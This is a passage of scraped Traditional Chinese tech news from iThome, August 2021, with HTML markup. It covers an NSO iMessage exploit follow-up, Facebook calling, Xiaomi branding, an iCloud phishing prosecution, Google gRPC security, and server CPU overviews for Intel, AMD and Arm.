href="https://threatpost.com/pegasus-spyware-uses-iphone-zero-click-imessage-zero-day/168899/" target="_blank">負責蘋果安全工程與架構的Ivan Krstić向Threatpost表示</a>，公民實驗室所描述的攻擊非常複雜，得斥資數百萬美元來開發，壽命還經常很短，且通常是高度針對性，大多數的用戶無需擔心。蘋果發言人亦向Threatpost指出，BlastDoor並非蘋果用來保護iMessage的唯一工具，該公司已強化了iOS 15的保護，且未來也會繼續加強平臺的安全性。</p> <p>現階段的研究僅顯示NSO攻擊程式最多只能開採iOS 14.6，尚未傳出iOS 14.7遭到開採的案例。</p> </div></div></div>
2021/8/25 14:08作者陳曉莉https://www.ithome.com.tw/news/146374
臉書正在測試以Facebook App啟動語音通話、視訊的功能
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.bloomberg.com/news/articles/2021-08-23/facebook-retools-messaging-again-by-adding-calling-to-main-app?sref=10lNAhZ9" target="_blank">彭博報導</a>，社群龍頭臉書正挑選部份用戶測試以臉書原本的Facebook App啟動視訊或語音通話的功能，而不需啟動Messenger。</p> <p>臉書Messenger產品管理總監Connor Hayes指出，這項測試正在包括美國及其他地區展開，目的在減少用戶在主要的Facebook App及Messenger之間，來回切換的麻煩。</p> <p>事實上，通訊功能本來就是Facebook App功能的一部份，<a href="https://www.ithome.com.tw/news/86783" target="_blank">直到2014年臉書獨立出Facebook Messenger</a>，要求使用者分開下載。</p> <p>這項測試是臉書將所有通訊及社交功能，整合於單一平臺的長期計畫藍圖的一部份。臉書表示，這是因為該公司發現到，Messenger用戶使用Messenger和友人視訊或通話同時，也正用Facebook做其他事，像是看影片或玩線上遊戲，因此不應只是一個獨立App，而是一項服務。臉書表示會有更多類似的整合發生。</p> <p>臉書去年已將Messenger的收件匣（inbox）整合到核心Facebook App中。此外，Messenger也早已整合到臉書旗下其他產品如instagram（IG）、Oculus VR頭戴裝置和Portal智慧螢幕。</p> <p>有人批評，臉書將旗下產品緊密整合，是為了防範主管機關可能分割該公司，包括將WhatsApp或IG獨立出去。美國聯邦交易委員會（Federal Trade Commission，FTC）去年底對臉書提起反托拉斯訴訟，在遭到法院以理由不充份為由駁回後，本月再接再厲，<a href="https://www.ithome.com.tw/news/146298" target="_blank">提出更充份理由再控告臉書</a>。</p> </div></div></div>
2021/8/25 11:23作者林妍溱https://www.ithome.com.tw/news/146370
小米產品品牌將改採Xiaomi、Redmi雙軌
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>小米本周公告從2021年第3季開始，將改用Xiaomi取代mi作為產品品牌，採行小米、紅米（Redmi）的雙品牌策略。Mi則轉為純母公司品牌。</p> <p><a href="https://www.xda-developers.com/xiaomi-ditches-mi-branding/" target="_blank">本周XDA Developer率先報導此事</a>，隨後<a href="https://www.xda-developers.com/xiaomi-ditches-mi-branding/#update1" target="_blank">小米發出官方聲明</a>。</p> <p>小米表示，從今年第3季開始，Mi系列下的產品都將改為Xiaomi。這項變更有助於統合全球品牌發展，並縮短品牌和產品上的認知歧異。小米計畫逐步將此推向全球各區域。</p> <p>未來小米產品將分成小米（Xiaomi）及紅米（Redmi）二個品牌。其中小米定位為高階產品，而紅米則維持現有平價產品的定位。小米公司同時也公布了新版的品牌識別及圖像，其中mi為母公司品牌，下分Xiaomi及Redmi。長期而言，相關的軟體、工具或是IoT產品也都會沿用雙品牌策略。</p> <p class="rtecenter"><img alt="" src="https://www.xda-developers.com/files/2021/08/mmexport1629794903598.jpg" style="width: 500px;" /></p> <p><span style="color:#696969;">圖片來源_小米</span></p> <p>Mi一開始見於小米的Android 作業系統MIUI，2011年小米推出第一隻智慧型手機Mi 1。之後小米持續推出高貴不貴的產品受到中國消費者歡迎。2013年小米延攬Google主管Hugo Barra，在其執掌期間，小米產品開始向亞洲市場擴展，2015年小米首度在海外市場推出Mi 3及平價品牌手機Redmi 2，並成為小米飛快壯大的開端。如今小米已是全球第二大智慧型手機業者，甚至市場研究公司<a href="https://www.businesswire.com/news/home/20210802005339/en/Strategy-Analytics-Xiaomi-Captures-Top-Position-in-European-Smartphone-Shipments-for-the-First-Time-in-Q2-2021-%C2%A0" target="_blank">Strategy Analytics數據顯示</a>，今年第2季在歐洲，小米已經擠下三星成為市場龍頭。</p> </div></div></div>
2021/8/25 11:52作者林妍溱https://www.ithome.com.tw/news/146371
有人假冒蘋果客戶支援騙走數千iCloud帳號
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://storage.courtlistener.com/recap/gov.uscourts.flmd.392806/gov.uscourts.flmd.392806.1.0.pdf" target="_blank">美國佛羅里達州的檢察官日前起訴了40歲的Hao Kuo Chi</a>，因為Chi假冒為蘋果的客戶支援部門，去信要求受害者提供iCloud憑證，成功騙走了4,700名iCloud用戶的憑證，並擅自進入306個iCloud帳號，盜取這些帳號的照片及影片。受害者絕大多數是年輕女性，被盜走的內容則多半是清涼照。</p> <p>Chi的行徑之所以曝光，是因為他在2018年3月入侵了一位名人的帳號，盜走了這位名人存放在iCloud的照片及影片，且這些內容最後流入了色情網站，受害者報警之後FBI才追查到Chi的位置。</p> <p>調查顯示，Chi擁有applebackupicloud與backupagenticloud兩個Gmail帳號，用來假冒蘋果的客戶支援服務，還在網路上以icloudripper4you為名，推銷入侵iCloud帳號的服務。從2014年到2018年間，Chi總計取得了4,700名iCloud用戶的憑證，擅自進入其中306個iCloud帳號，還從這些帳號下載了62萬張照片與9,000部影片。</p> <p>Chi已坦承犯下4項罪行，包括共謀及未經授權存取受保護的電腦，每項罪名最高可處5年徒刑。</p> <p>在2014年，也曾發生好萊塢上百名女星存放在iCloud上的私密照外洩事件，當時外界一度懷疑是iCloud的安全漏洞所造成，<a href="https://www.ithome.com.tw/news/90644" target="_blank">蘋果調查則發現</a>駭客是利用社交工程及網釣手法，取得這些女星的iCloud憑證，使得蘋果決定於iCloud上提供雙因素認證服務。不過，Chi的受害者顯然沒有啟用該服務。</p> </div></div></div>
2021/8/25 12:06作者陳曉莉https://www.ithome.com.tw/news/146372
Google服務網格控制平面Traffic Director，現可簡單配置gRPC服務間的安全通訊
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://cloud.google.com/blog/products/application-development/add-security-to-grpc-services-with-traffic-director">Google更新gRPC無代理服務</a>，解決微服務間通訊的安全痛點，開發者透過Traffic Director控制平面，就夠簡單配置gRPC服務，以TLS/mTLS建立服務之間的安全通訊。</p> <p>gRPC（General-purpose Remote Procedure Calls）是一個由Google發起的開源遠端程序呼叫框架，建立在HTTP/2協定之上，並且使用protobuf作為序列化和反序列化機制，支援各種使用案例和部署模型，能夠用於後端服務間的通訊，或是不同客戶端存取GCP服務的通訊，由於gRPC支援多語言環境，因此能夠讓像是Java客戶端，跟由Go語言編寫的伺服器溝通。</p> <p>gRPC在現今的微服務架構中，扮演重要的角色，當大型單體應用程式分解成較小的微服務時，單體應用程式元件之間的程序內呼叫，便需要轉變成微服務之間的網路呼叫，而gRPC讓這件事變簡單。在去年的時候，Google更新gRPC無代理服務，讓用戶可以讓gRPC客戶端能夠處理和實作流量管理和負載平衡策略，並且還正式支援Traffic Director作為控制平面。</p> <p>但是要讓gRPC網路呼叫和程序內呼叫一樣安全是個挑戰，而TLS/mTLS便能派上用場，最新版本的gRPC讓開發者可以配置政策，以加密服務到服務的通訊。Google新提出的解決方案，克服了服務之間的安全性痛點，包括在客戶端和伺服器上管理和安裝證書，或是從可信的CA綁定身份和發布證書，甚至是輪替證書等。</p> <p>Google提到，在基礎設施中提供工作負載身份、CA和證書管理等功能，同時工作負載函式庫也在服務網格通訊中，利用這些設施來提供服務到服務的TLS/mTLS和身份驗證，這將能大幅節省開發人員和管理員的時間。現在用戶可以使用Traffic Director配置gRPC服務，在服務之間以自動化的方式，建立安全性功能，只需要在客戶端和伺服器配置安全政策，Traffic Director就能夠將其發布到服務中。</p> <p>使用這項Google新提供的安全功能，用戶就可以替網格中所有服務，快速提供金鑰和證書，而金鑰和證書也會自動輪替，因此增加了整體安全性，同時還與GKE整合，並且能和以Envoy為基礎的服務網格無縫互通，像是服務可以位在Envoy代理之後，但是客戶端卻使用gRPC無代理服務網格。</p> <p>Google還會繼續更新gRPC無代理服務，增加服務到服務間通訊的身份驗證功能，並且支援其他部署模型，讓gRPC除了在GKE運作，還能在Compute Engine等服務上執行。</p> </div></div></div>
2021/8/25 10:06作者李建興https://www.ithome.com.tw/news/146369
【Intel第三代Xeon SP系列】終於導入10奈米製程，正式加入支援PCIe 4.0的行列
<div class="field field-name-field-image field-type-image field-label-hidden"><div class="field-items"><div class="field-item even"><img src="https://s4.itho.me/sites/default/files/1036-cover2-960-tu_pian_lai_yuan_ying_te_er_.png" width="2004" height="826" alt="" /></div></div></div><div class="field field-name-field-photo-source field-type-text field-label-hidden"><div class="field-items"><div class="field-item even"> <p>英特爾</p> </div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>在伺服器平臺稱霸許久的英特爾（Intel），2017年之後面對重返市場的AMD，面臨不小的同業競爭壓力，不過，每次推出的新一代產品，仍有可觀之處。</p> <p><span style="font-size:28px;"><strong>因應廣泛市場需求，提供50款以上選擇，規格演進慢、求穩健經營</strong></span></p> <p>在2017年，Xeon Scalable處理器（Xeon SP）系列首度登場，英特爾推出了第一代產品（代號為Skylake）。在產品線的設置上，改成4種品牌與系列型號的對應：白金（8100系列）、金（6100系列與5100系列）、銀（4100系列）、銅（3100系列）。若就數量而言，英特爾提供51款處理器機型的選擇。</p> <p>而在處理器平臺的規格上，第一代Xeon Scalable系列採14奈米製程，最多提供28顆核心，記憶體支援DDR4-2666、6個通道，單顆插槽支援1.5 TB記憶體，I/O部份支援48個PCIe 3.0通道。</p> <p>接著是2019年4月登場的第二代Xeon Scalable（代號為Cascade Lake），最大的賣點是內建深度學習加速技術：DL Boost，搭配向量神經網路指令集（VNNI）；而在處理器平臺的規格上，最多可提供56顆核心，記憶體支援DDR4-2933、12個通道，單顆插槽可支援4.5 TB記憶體。</p> <p>在產品線的設置上，英特爾總共發布了67款處理器機型，規模相當驚人。</p> <p><span style="font-size:28px;"><strong>第三代Xeon Scalable分兩批發布</strong></span></p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/1036-cover2-400-%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90%EF%BC%8F%E8%8B%B1%E7%89%B9%E7%88%BE.png" style="width: 400px;" /></p> <p>在2020年6月，英特爾發表第三代Xeon Scalable（代號為Cooper Lake），主攻4路與8路伺服器，僅推出11款機型，最多可提供28顆核心，記憶體支援DDR4-3200、6個通道，單顆插槽可支援4.5 TB記憶體，繼續主打DL Boost加速特色，並整合Bfloat16支援。</p> <p>到了2021年4月，英特爾發表另一批第三代Xeon Scalable（代號為Ice Lake），終於導入更先進的10奈米製程，支援PCIe 4.0介面，最多提供40顆核心，記憶體支援DDR4-3200、8個通道，單顆插槽支援6 TB記憶體，I/O則支援64個PCIe 4.0通道。就數量而言，英特爾總共發布57款處理器機型。</p> <p>在運算效能上，Ice Lake的表現也亮眼許多，英特爾公布多項他們內部測試數據作為印證。在混合20種常用AI工作負載的狀態下，若以AMD今年推出的第三代EPYC 7763平臺為基準，英特爾最新的第三代Xeon Scalable可達1.5倍效能；若以AMD EPYC 7742處理器搭配Nvidia A100 GPU為基準，英特爾第三代Xeon Scalable可達到1.3倍效能。</p> <p>這樣的成效展現讓人驚豔，令人訝異的是，英特爾打破多年慣例、展現新氣象！因為他們過往只與自家產品比較。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/1036-cover2-960-%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90%EF%BC%8F%E8%8B%B1%E7%89%B9%E7%88%BE.png" style="width: 600px;" /></p> <p><strong><span style="color: rgb(105, 105, 105);">｜兩代Xeon SP處理器架構比較｜</span></strong><strong style="color: rgb(105, 105, 105);">相較於第二代Xeon Scalable處理器（Cascade Lake），2021年4月發表的第三代Xeon Scalable（Ice Lake）同樣採用網狀互連架構，但最大差異在於處理器核心改用Sunny Cove微架構，以及整合PCIe 4.0控制器、配置4個記憶體控制器（每個控制器可處理2個通道），並且提供3個獨立運作的UPI連結。</strong><span style="color: rgb(105, 105, 105);">（圖片來源／英特爾）</span></p> <p><span style="font-size:28px;"><strong>大舉強化資料安全防護</strong></span></p> <p>Ice Lake另一個重點特色則是資安，主打軟體防護擴充指令集（SGX），以及加密加速（Crypto Acceleration）。</p> <p>早在2013年，英特爾已在桌上型電腦、筆電、工作站等級處理器，陸續提供SGX的功能，然而，關於在伺服器級處理器內建SGX的態勢，卻一直不明朗，直到今年，英特爾發表第三代Xeon Scalable系列處理器，宣布內建SGX之後，這項機密運算技術才算正式入駐企業資料中心領域。</p> <p>在伺服器的應用環境當中，SGX能帶來哪些好處？英特爾強調，可在系統內部保護敏感的程式碼與資料，將暴露在惡意軟體與駭客攻擊的層面減至最低。這項防護技術最主要供應的產品，是用於2路伺服器的處理器機型，當中將運用安全區（enclave）來隔離程式碼與資料，這裡能使用的容量最大可達到1TB，應可支援主流工作負載規模。</p> <p>值得一提的是，英特爾也提到SGX能結合本次隨Ice Lake新增的兩個安全技術。一是全記憶體加密技術（TME），能夠針對實體的記憶體提供完全加密機制，強化資料與虛擬機器的保護，他們在2017年底曾對外揭露相關資訊，但可能直到這次Ice Lake發表才真正亮相。</p> <p>另一個是平臺韌體快速復原技術（PFR），當中運用英特爾自家的FPGA技術，而能防護、偵測、修正韌體層面的問題，以達到NIST SP 800-193的要求。透過這項保護技術，能讓伺服器平臺韌體能在執行前，先經過驗證，並在執行過程當中進行監控與過濾，以防遭到有心人士操弄；韌體若發生問題，PFR可在幾分鐘內自動執行回復作業。</p> <p>無論是SGX或TME，都跟資料加密的處理有關，而這也涉及Ice Lake處理器第二個主打的資安特色：關於加密處理的加速技術，會針對重要的加密演算法提供突破以往的效能，可因應日益普遍的各種大量使用加密處理的工作負載。</p> <p>例如，每天處理數百萬筆交易的線上零售業者，就能善用Ice Lake處理器這項功能來提升客戶資料保護，而無需擔憂因此影響使用者得到回應的時間，或是大幅衝擊系統整體效能。</p> <p>Ice Lake也增設新的加密加速功能，例如：向量型AES新指令集（Vector AES-NI）、向量無進位乘法（Vector CLMUL）、英特爾安全雜湊演算法延伸指令集（Intel SHA Extensions）、VPMADD52 指令集、RSA/DH加密協定、有限體新指令集（GFNI）。</p> <p>除了相關的指令集，英特爾也在這一代Xeon處理器演算法執行方式上，提出兩種基於軟體的新加速作法：一是多重資料緩衝處理（Multi-Buffer），可同時處理多個資料緩衝，相較之下，傳統處理器的作法是循序處理每一個資料緩衝；另一是函式縫合（Function Stitching），將兩個演算法融合為單一最佳化演算法，以便盡可能地運用處理器的全部資源，以及提高資料吞吐量。</p> <p class="rtecenter"><span style="color: rgb(105, 105, 105);"><img alt="" src="https://s4.itho.me/sites/default/files/images/1036-cover2-600-%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90%EF%BC%8F%E8%8B%B1%E7%89%B9%E7%88%BE.png" style="width: 600px;" /></span></p> <p><strong><span style="color: rgb(105, 105, 105);">｜SGX正式進駐伺服器級處理器｜</span></strong><strong style="color: rgb(105, 105, 105);">歷經多年的發展，英特爾終於在伺服器級處理器，內建軟體防護擴充指令集（SGX），而在最新推出的Ice Lake平臺當中，若是採用2路組態，對於安全區記憶體分頁快取（EPC）的使用，最大可設定到1 TB的空間。</strong><span style="color: rgb(105, 105, 105);">（圖片來源／英特爾）</span></p> <p><span style="font-size:28px;"><strong>多家雲端業者推執行個體，500大超級電腦有8座採用</strong></span></p> <p>Ice Lake發表後，目前有哪些案例？以公有雲而言，我們看到三家業者推出服務，例如，Oracle Cloud Infrastructure（OCI）在4月初宣布，推出2個執行個體，分別是VM.Optimized3.Flex與BM.Optimized3.36，各自針對運算密集型與高效能運算型工作負載；微軟Azure陸續於4月、6月宣布，推出3個系列的執行個體的預覽版本，分別是：適合通用型工作負載Dv5系列、適合記憶體密集型工作負載的Ev5系列，以及適合機密型工作負載的DCsv3系列；阿里雲於8月發表第7代ECS系列執行個體服務，包含：適合通用型工作負載的g7系列、適合運算密集型工作負載的c7系列，以及適合記憶體密集型工作負載的c7系列。</p> <p>在高效能運算領域當中，我們可將全球500大超級電腦的處理器採用狀況，作為參考指標。以今年6月公布的排行榜來看，採用Ice Lake處理器的超級電腦有8座，其中一半是德國機構，表現最好的是韓國氣象廳的Maru，拿到第23名。</p> </div></div></div><div class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above"><div class="field-label">Tags: </div><div class="field-items"><div class="field-item even"><a href="/tags/%E5%B0%81%E9%9D%A2%E6%95%85%E4%BA%8B">封面故事</a></div><div class="field-item odd"><a href="/tags/%E9%9B%B2%E7%AB%AF">雲端</a></div><div class="field-item even"><a href="/tags/hpc">HPC</a></div><div class="field-item odd"><a href="/tags/cpu">CPU</a></div><div class="field-item even"><a href="/tags/%E4%BC%BA%E6%9C%8D%E5%99%A8-0">伺服器</a></div><div class="field-item odd"><a href="/tags/%E8%99%95%E7%90%86%E5%99%A8">處理器</a></div><div class="field-item even"><a href="/tags/%E8%8B%B1%E7%89%B9%E7%88%BE">英特爾</a></div><div class="field-item odd"><a href="/tags/intel">Intel</a></div><div class="field-item even"><a href="/tags/xeon-sp">Xeon SP</a></div><div class="field-item odd"><a href="/tags/xeon-scalable">Xeon Scalable</a></div><div class="field-item even"><a href="/tags/ice-lake">Ice Lake</a></div><div class="field-item odd"><a href="/tags/%E7%AC%AC%E4%B8%89%E4%BB%A3xeon-scalable">第三代Xeon Scalable</a></div></div></div>
2021/8/25 07:00作者李宗翰https://www.ithome.com.tw/tech/146293
【AMD第三代EPYC系列】延續二代產品優勢之餘，開始導入Zen 3微架構
<div class="field field-name-field-image field-type-image field-label-hidden"><div class="field-items"><div class="field-item even"><img src="https://s4.itho.me/sites/default/files/1036-cover3-960-tu_pian_lai_yuan_amd.png" width="1412" height="601" alt="" /></div></div></div><div class="field field-name-field-photo-source field-type-text field-label-hidden"><div class="field-items"><div class="field-item even"> <p>AMD</p> </div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>在2017年6月推出代號為Naples的EPYC 7001系列處理器之後，AMD宣告重返伺服器市場，當時以14奈米製程、單顆處理器最多可內建32顆核心與64個執行緒、Zen微架構、8個記憶體通道、128個PCIe 3.0通道等特色，搶盡IT新聞媒體的版面。</p> <p>到了2019年8月，AMD推出第二代EPYC處理器7002系列，代號為Rome，主打的規格特色，依然超越競爭對手的最新產品，例如：採用台積電7奈米製程、單顆處理器最多可內建64顆核心與128個執行緒、Zen 2微架構、8個記憶體通道、128個PCIe 4.0通道等。而在受益於上述技術之下，7002系列處理器的效能可達到7001系列處理器的2倍。</p> <p>今年3月中，AMD發表代號為Millan的第三代EPYC處理器7003系列，最大差異是採用Zen 3微架構，絕大多數特色均同於7002系列，像是：採用台積電7奈米製程、單顆處理器最多可內建64顆核心與128個執行緒、8個記憶體通道、128個PCIe 4.0通道等。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/1036-cover3-960-%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90%EF%BC%8FAMD.png" style="width: 600px;" /></p> <p><span style="color: rgb(105, 105, 105);"><strong>｜Zen微架構的演進｜歷經三年的發展，AMD發展的Zen微架構如今已邁入第三代，而EPYC處理器的世代交替，也與Zen架構的演化密不可分。</strong>（圖片來源／AMD）</span></p> <p><span style="font-size:28px;"><strong>將Zen 3微架構導入AMD伺服器平臺，再度提升運算效能</strong></span></p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/%E6%A8%99%E9%A1%8CAMD%20EPYC%20Milan_TopLeft.png" style="width: 400px;" /></p> <p>在2020年10月，AMD發表Ryzen 5000系列桌上型電腦處理器，率先採用了Zen 3微架構，而後來的伺服器處理器EPYC 7003系列，之所以能在IPC效能提升19％，正是拜Zen 3所賜，另一個與桌上型電腦處理器共通的特色是核心組成方式，以及L3快取記憶體的設計。</p> <p>若以8核心處理器為例，在Zen 3微架構當中，每個核心複合體（Complex）包含了8顆運算核心，以及單顆32 MB 容量的L3快取記憶體，而這32MB又可細分為24 MB處理每顆核心的資料，以及8MB處理共用的資料；在Zen 2微架構當中，是由兩個核心複合體組成，每個核心複合體則包含4顆運算核心，以及1顆16MB容量的L3快取記憶體，這16MB又再平分，針對處理每顆核心的資料與處理共用的資料，各配置8MB。</p> <p>關於Zen 3微架構採用這樣的L3記憶體配置，AMD認為能夠提供更直接的存取方式，因此，在大型虛擬機器的執行上，提供更好的效能（可達到2倍）。</p> <p>在整數運算與浮點運算的管線流程上，Zen 3微架構也予以調整。例如，在作業佇列（Op Queue）之下，增設配送器（dispatch）；對於排程器的配置上，整數運算濃縮了數量、加大窗口，浮點運算則拆分成多個；在每個循環週期執行工作量上，Zen 3可進行3次載入與2次存放（Zen 2則是2次載入與1次存放）。</p> <p>而基於這樣的運算架構調整，AMD表示，INT8整數運算的管線處理能力可提升1倍，浮點運算速度也能加快，因而能將AI推論吞吐量增加1倍。</p> <p class="rtecenter"><span style="color: rgb(105, 105, 105);"><img alt="" src="https://s4.itho.me/sites/default/files/images/1036-cover3-600-%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90%EF%BC%8FAMD.png" style="width: 600px;" /></span></p> <p><span style="color: rgb(105, 105, 105);"><strong>｜Zen 3採用不同的核心與快取配置，希望能進一步提升資料存取效率｜AMD EPYC 7003系列導入Zen 3微架構，調整了處理器內部配置，改以8顆核心為一個核心複合體，能讓8顆核心共用同樣的資料，而對於每顆核心而言，可存取更大量的資料。</strong>（圖片來源／AMD）</span></p> <p><span style="font-size:28px;"><strong>記憶體加密技術增添新功能，提升資安攻擊因應能力</strong></span></p> <p>提供處理器層級的硬體安全防護功能，是AMD EPYC這三代以來都相當強調的特色，也是Zen 微架構導入AMD伺服器平臺的賣點之一。</p> <p>在最先的Zen中，AMD開始提供安全加密虛擬化技術（SEV），EPYC 7001系列處理器內建；到了Zen 2，增加安全加密虛擬化-加密狀態技術（SEV-ES），EPYC 7002系列處理器內建這項功能；在Zen 3當中，AMD推出新的安全巢狀記憶體分頁技術（SEV-SNP），EPYC 7003系列處理器開始支援。</p> <p>就系統軟體與雲端服務而言，Linux 4.16版以後的核心，以及GCP的機密VM，都支援SEV；VMware在2019年下半推出vSphere 7.0 Update1，支援進階的SEV-ES；微軟Azure今年將推出的新款機密VM，則可望支援SEV-SNP。</p> <p>除了SEV系列特色，EPYC系列和Ryzen系列一樣，因為採用Zen微架構，所以，普遍內建安全記憶體加密技術（SME）。而在歷代EPYC系列處理器當中，因搭配不同的Zen架構，支援的記憶體金鑰數量也有異同。例如，7001系列僅支援16支，而7002系列與最新推出的7003系列，皆為509支。</p> <p>關於惡意軟體的防護機制，AMD EPYC系列處理器所提供的，不只是上述的記憶體加密技術，從Zen 2微架構之後，AMD在EPYC 7002系列與Ryzen 9系列處理器，均新增了客體模式執行陷阱（GMET）的安全性功能，透過這項基於矽晶片的效能加速技術，搭配SEV使用，可促使Hypervior以更有效率的方式，處理程式碼完整性檢查的工作。</p> <p>到了Zen 3，AMD加入Shadow Stack功能，因此，在EPYC 7003系列與Ryzen 9系列處理器當中，可藉由這項硬體強制執行的程式堆疊防護技術，確認應用系統採用正常的程式堆疊架構，能保留所有回傳位址的記錄，以便進行比較，確保完整性並未遭到破壞。</p> <p>同時，我們能以此對抗基於軟體的攻擊手法，像是控制流程（control-flow）、返回導向程式設計（ROP）。</p> <p>與其他系統平臺的搭配上，AMD的Shadow Stack功能，目前支援微軟研發的硬體強制型堆疊保護技術（Hardware-enforced Stack Protection），也已經在Windows 10作業系統提供。</p> <p>關於這類硬體保護技術，其實不光是AMD這兩款處理器提供，英特爾目前也在第11代Core筆電處理器導入，稱為控制流程強制處理技術（CET）。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/1039-%E5%B0%81%E9%9D%A2P3-AMD-%E5%9C%96.png" style="width: 600px;" /></p> <p><span style="font-size:28px;"><strong>多家伺服器廠商、雲端業者，都將推出與其搭配的解決方案</strong></span></p> <p>依循過往新一代伺服器處理器平臺發表的慣例，AMD今年3月發表EPYC 7003系列之際，一口氣找來18家合作廠商站臺，這些橫跨雲端服務、伺服器、超融合平臺、高效能運算、FGPA加速晶片等不同領域的公司，統統被AMD找來拍YouTube影片，宣揚他們即將推出的相關解決方案，可能是因應疫情而以這種方式表態力挺，動態呈現AMD對於整個伺服器生態體系的號召能力，而非僅止於列出全部廠牌的商標。也因此，在這樣的合作關係展示之下，眾家廠商可說是給足AMD面子，也趁機拉抬彼此對於企業IT與雲端應用市場的影響力。</p> <p>在高效能運算領域，AMD也大有斬獲。今年6月拿下全球500大超級電腦第5的Perlmutter，採用的處理器，就是AMD EPYC 7003系列。發展這座超級電腦的單位，是美國的國家能源研究科學運算中心，以及勞倫斯伯克利國家實驗室。</p> <p>同樣在6月舉行的國際超級電腦大會期間，AMD也宣布新消息，標榜更多採用第三代EPYC的超級電腦，而發展這些系統的機構，大多與英國有關，例如，劍橋大學的CSD3、杜倫大學的COSMA8，以及英國氣象局與微軟Azure合作的超級電腦。</p> </div></div></div><div class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above"><div class="field-label">Tags: </div><div class="field-items"><div class="field-item even"><a href="/tags/%E5%B0%81%E9%9D%A2%E6%95%85%E4%BA%8B">封面故事</a></div><div class="field-item odd"><a href="/tags/%E9%9B%B2%E7%AB%AF">雲端</a></div><div class="field-item even"><a href="/tags/hpc">HPC</a></div><div class="field-item odd"><a href="/tags/cpu">CPU</a></div><div class="field-item even"><a href="/tags/%E4%BC%BA%E6%9C%8D%E5%99%A8-0">伺服器</a></div><div class="field-item odd"><a href="/tags/%E8%99%95%E7%90%86%E5%99%A8">處理器</a></div><div class="field-item even"><a href="/tags/amd%E7%AC%AC%E4%B8%89%E4%BB%A3epyc">AMD第三代EPYC</a></div><div class="field-item odd"><a href="/tags/zen-3">Zen 3</a></div><div class="field-item even"><a href="/tags/pcie-40">PCIe 4.0</a></div></div></div>
2021/8/25 07:00作者李宗翰https://www.ithome.com.tw/tech/146302
【Arm Neoverse V1與N2】邁入5奈米製程，支援PCIe 5.0介面與DDR5記憶體
<div class="field field-name-field-image field-type-image field-label-hidden"><div class="field-items"><div class="field-item even"><img src="https://s4.itho.me/sites/default/files/1036-cover4-960-tu_pian_lai_yuan_arm.jpg" width="960" height="420" alt="" /></div></div></div><div class="field field-name-field-photo-source field-type-text field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Arm</p> </div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>談到Arm處理器，多數人的既定印象可能都是用於智慧型手機或物聯網裝置，然而，由於其具備省電、高效能的特性，早在十年前，就開始有廠商想要基於這個架構，發展伺服器等級的處理器，像是ZT Systems、Calxeda、AppliedMicro、Cavium、Broadcom、Qualcomm等公司，都曾著手進行，但大多因中途取消或後繼無力，而遲遲無法建立整個Arm伺服器生態體系。</p> <p>不過，到了2018年10月情況開始改觀，因為Arm決定親自出手，發展這部份的技術智財與推動相關業務──他們推出一個新的產品線，稱為Neoverse，但他們的目標不僅是打造高效能、低功耗的伺服器平臺，而是希望能夠提供生態系統，使其建構一系列橫跨雲端服務到邊緣運算（cloud to edge）的產品。當時，雲端服務當紅，而邊緣運算正要崛起，因此，如果是軟體、雲端業者，或是兩大處理器平臺廠商喊出這樣的口號，還算合理，但過去從未親自涉入如此廣大領域的Arm，竟喊出這樣的口號，不免讓人懷疑是否真的可行。</p> <p>時至今日，他們提出的應用案例已能回答這個問題。首先，公有雲龍頭業者基於Neoverse智慧財產，設計出兩代處理器，而以此推出多個執行個體服務；再加上日本理化學研究所的超級電腦「富岳」（Fugaku），憑藉著富士通發展的Arm架構處理器A64FX，在2020年6月一舉拿下全球500大超級電腦榜首，震撼整個IT界，而至今這座超級電腦仍蟬聯冠軍寶座，也在在證明了Arm架構在高效能運算領域的確是表現不凡。</p> <p>就技術而言，最晚進入市場的Arm伺服器平臺，在新規格的採用上，也比較沒有顧忌和包袱，當然，當用戶將這些設計實作成處理器時，還是要根據系統或服務承載需求來考量。</p> <p>以2019年2月登場的N1平臺（代號為Ares），以及E1平臺而言，一推出就是64位元運算架構，而且是採用7奈米製程、支援PCIe 4.0介面，前者的設計可支援4到128顆核心，後者則支援100 Gbps的網路處理能力。相較之下，市場上現行的處理器廠商，過去都花了不少時間，才在這幾年間推出具備部分上述規格的產品。</p> <p>相隔兩年之後，Arm在今年4月發表的V1平臺（代號為Zeus），以及N2平臺（代號為Perseus）當中，又繼續將規格推升到新的高度。例如，均可導入5奈米製程，而且支援PCIe 5.0介面與DDR5記憶體。</p> <p class="rtecenter"><img alt="" 